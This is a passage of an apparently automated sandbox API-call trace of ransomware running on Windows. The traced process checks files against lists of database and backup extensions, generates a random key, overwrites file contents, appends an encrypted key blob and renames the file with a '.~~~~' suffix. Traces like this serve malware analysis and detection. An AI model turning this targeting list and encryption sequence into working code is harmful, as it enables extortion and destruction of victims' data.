	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".mdf") returned 0x0
	[0146.931] lstrlenW (lpString=".BAK") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".BAK") returned 0x0
	[0146.931] lstrlenW (lpString=".BAC") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".BAC") returned 0x0
	[0146.931] lstrlenW (lpString=".dbs") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dbs") returned 0x0
	[0146.931] lstrlenW (lpString=".vhdx") returned 5
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".vhdx") returned 0x0
	[0146.931] lstrlenW (lpString=".NDF") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".NDF") returned 0x0
	[0146.931] lstrlenW (lpString=".dat") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dat") returned 0x0
	[0146.931] lstrlenW (lpString=".DBS") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DBS") returned 0x0
	[0146.931] lstrlenW (lpString=".CKP") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".CKP") returned 0x0
	[0146.931] lstrlenW (lpString=".edb") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".edb") returned 0x0
	[0146.932] lstrlenW (lpString=".PST") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".PST") returned 0x0
	[0146.932] lstrlenW (lpString=".dbf") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dbf") returned 0x0
	[0146.932] lstrlenW (lpString=".SQL") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".SQL") returned 0x0
	[0146.932] lstrlenW (lpString=".pst") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".pst") returned 0x0
	[0146.932] lstrlenW (lpString=".dbv") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dbv") returned 0x0
	[0146.932] lstrlenW (lpString=".SDF") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".SDF") returned 0x0
	[0146.932] lstrlenW (lpString=".dtxs") returned 5
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dtxs") returned 0x0
	[0146.932] lstrlenW (lpString=".db3") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".db3") returned 0x0
	[0146.932] lstrlenW (lpString=".OST") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".OST") returned 0x0
	[0146.932] lstrlenW (lpString=".dbx") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dbx") returned 0x0
	[0146.932] lstrlenW (lpString=".DB3") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DB3") returned 0x0
	[0146.932] lstrlenW (lpString=".DAT") returned 4
	[0146.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DAT") returned 0x0
	[0146.932] lstrlenW (lpString=".VHDX") returned 5
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".VHDX") returned 0x0
	[0146.933] lstrlenW (lpString=".ndf") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".ndf") returned 0x0
	[0146.933] lstrlenW (lpString=".DB") returned 3
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DB") returned 0x0
	[0146.933] lstrlenW (lpString=".sql") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".sql") returned 0x0
	[0146.933] lstrlenW (lpString=".MYD") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".MYD") returned 0x0
	[0146.933] lstrlenW (lpString=".DBT") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DBT") returned 0x0
	[0146.933] lstrlenW (lpString=".ACCDB") returned 6
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".ACCDB") returned 0x0
	[0146.933] lstrlenW (lpString=".fdb") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".fdb") returned 0x0
	[0146.933] lstrlenW (lpString=".bak") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".bak") returned 0x0
	[0146.933] lstrlenW (lpString=".myd") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".myd") returned 0x0
	[0146.933] lstrlenW (lpString=".DTXS") returned 5
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DTXS") returned 0x0
	[0146.933] lstrlenW (lpString=".ckp") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".ckp") returned 0x0
	[0146.933] lstrlenW (lpString=".dbt") returned 4
	[0146.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dbt") returned 0x0
	[0146.933] lstrlenW (lpString=".db") returned 3
	[0146.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".db") returned 0x0
	[0146.934] lstrlenW (lpString=".TXT") returned 4
	[0146.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".TXT") returned 0x0
	[0146.934] lstrlenW (lpString=".MDF") returned 4
	[0146.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".MDF") returned 0x0
	[0146.934] lstrlenW (lpString=".bdb") returned 4
	[0146.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".bdb") returned 0x0
	[0146.934] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.934] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395f38) returned 1
	[0146.935] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.935] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0146.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.936] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26692571454) returned 1
	[0146.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0fc9210, dwHighDateTime=0x1d60e1e)) 
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3805f0
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3805f0 | out: hHeap=0x300000) returned 1
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.937] GetLastError () returned 0x0
	[0146.937] GetLastError () returned 0x0
	[0146.937] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.937] GetLastError () returned 0x0
	[0146.937] GetLastError () returned 0x0
	[0146.937] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.956] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.956] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.957] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.957] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.958] CloseHandle (hObject=0x114) returned 1
	[0146.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.~~~~")) returned 1
	[0146.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.961] GetLastError () returned 0x0
	[0146.961] RtlWakeConditionVariable () returned 0x0
	[0146.961] GetCurrentThreadId () returned 0xaf0
	[0146.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".scr") returned 0x0
	[0146.961] lstrlenW (lpString=".cmd") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".cmd") returned 0x0
	[0146.962] lstrlenW (lpString=".dll") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dll") returned 0x0
	[0146.962] lstrlenW (lpString=".bat") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".bat") returned 0x0
	[0146.962] lstrlenW (lpString=".cpl") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".cpl") returned 0x0
	[0146.962] lstrlenW (lpString=".sys") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".sys") returned 0x0
	[0146.962] lstrlenW (lpString=".msc") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".msc") returned 0x0
	[0146.962] lstrlenW (lpString=".com") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".com") returned 0x0
	[0146.962] lstrlenW (lpString=".lnk") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".lnk") returned 0x0
	[0146.962] lstrlenW (lpString=".msp") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".msp") returned 0x0
	[0146.962] lstrlenW (lpString=".pif") returned 4
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".pif") returned 0x0
	[0146.962] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch="msp\r\n.pif") returned 0x0
	[0146.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.965] lstrlenW (lpString=".sqb") returned 4
	[0146.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".sqb") returned 0x0
	[0146.966] lstrlenW (lpString=".ost") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".ost") returned 0x0
	[0146.966] lstrlenW (lpString=".txt") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".txt") returned 0x0
	[0146.966] lstrlenW (lpString=".mdt") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".mdt") returned 0x0
	[0146.966] lstrlenW (lpString=".BDB") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".BDB") returned 0x0
	[0146.966] lstrlenW (lpString=".eql") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".eql") returned 0x0
	[0146.966] lstrlenW (lpString=".DBF") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DBF") returned 0x0
	[0146.966] lstrlenW (lpString=".EQL") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".EQL") returned 0x0
	[0146.966] lstrlenW (lpString=".FDB") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".FDB") returned 0x0
	[0146.966] lstrlenW (lpString=".EDB") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".EDB") returned 0x0
	[0146.966] lstrlenW (lpString=".DACPAC") returned 7
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DACPAC") returned 0x0
	[0146.966] lstrlenW (lpString=".VHD") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".VHD") returned 0x0
	[0146.966] lstrlenW (lpString=".DBV") returned 4
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DBV") returned 0x0
	[0146.966] lstrlenW (lpString=".dacpac") returned 7
	[0146.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dacpac") returned 0x0
	[0146.967] lstrlenW (lpString=".sdf") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".sdf") returned 0x0
	[0146.967] lstrlenW (lpString=".accdb") returned 6
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".accdb") returned 0x0
	[0146.967] lstrlenW (lpString=".DBX") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DBX") returned 0x0
	[0146.967] lstrlenW (lpString=".MDT") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".MDT") returned 0x0
	[0146.967] lstrlenW (lpString=".SQB") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".SQB") returned 0x0
	[0146.967] lstrlenW (lpString=".vhd") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".vhd") returned 0x0
	[0146.967] lstrlenW (lpString=".bac") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".bac") returned 0x0
	[0146.967] lstrlenW (lpString=".mdf") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".mdf") returned 0x0
	[0146.967] lstrlenW (lpString=".BAK") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".BAK") returned 0x0
	[0146.967] lstrlenW (lpString=".BAC") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".BAC") returned 0x0
	[0146.967] lstrlenW (lpString=".dbs") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dbs") returned 0x0
	[0146.967] lstrlenW (lpString=".vhdx") returned 5
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".vhdx") returned 0x0
	[0146.967] lstrlenW (lpString=".NDF") returned 4
	[0146.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".NDF") returned 0x0
	[0146.968] lstrlenW (lpString=".dat") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dat") returned 0x0
	[0146.968] lstrlenW (lpString=".DBS") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DBS") returned 0x0
	[0146.968] lstrlenW (lpString=".CKP") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".CKP") returned 0x0
	[0146.968] lstrlenW (lpString=".edb") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".edb") returned 0x0
	[0146.968] lstrlenW (lpString=".PST") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".PST") returned 0x0
	[0146.968] lstrlenW (lpString=".dbf") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dbf") returned 0x0
	[0146.968] lstrlenW (lpString=".SQL") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".SQL") returned 0x0
	[0146.968] lstrlenW (lpString=".pst") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".pst") returned 0x0
	[0146.968] lstrlenW (lpString=".dbv") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dbv") returned 0x0
	[0146.968] lstrlenW (lpString=".SDF") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".SDF") returned 0x0
	[0146.968] lstrlenW (lpString=".dtxs") returned 5
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dtxs") returned 0x0
	[0146.968] lstrlenW (lpString=".db3") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".db3") returned 0x0
	[0146.968] lstrlenW (lpString=".OST") returned 4
	[0146.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".OST") returned 0x0
	[0146.969] lstrlenW (lpString=".dbx") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dbx") returned 0x0
	[0146.969] lstrlenW (lpString=".DB3") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DB3") returned 0x0
	[0146.969] lstrlenW (lpString=".DAT") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DAT") returned 0x0
	[0146.969] lstrlenW (lpString=".VHDX") returned 5
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".VHDX") returned 0x0
	[0146.969] lstrlenW (lpString=".ndf") returned 4
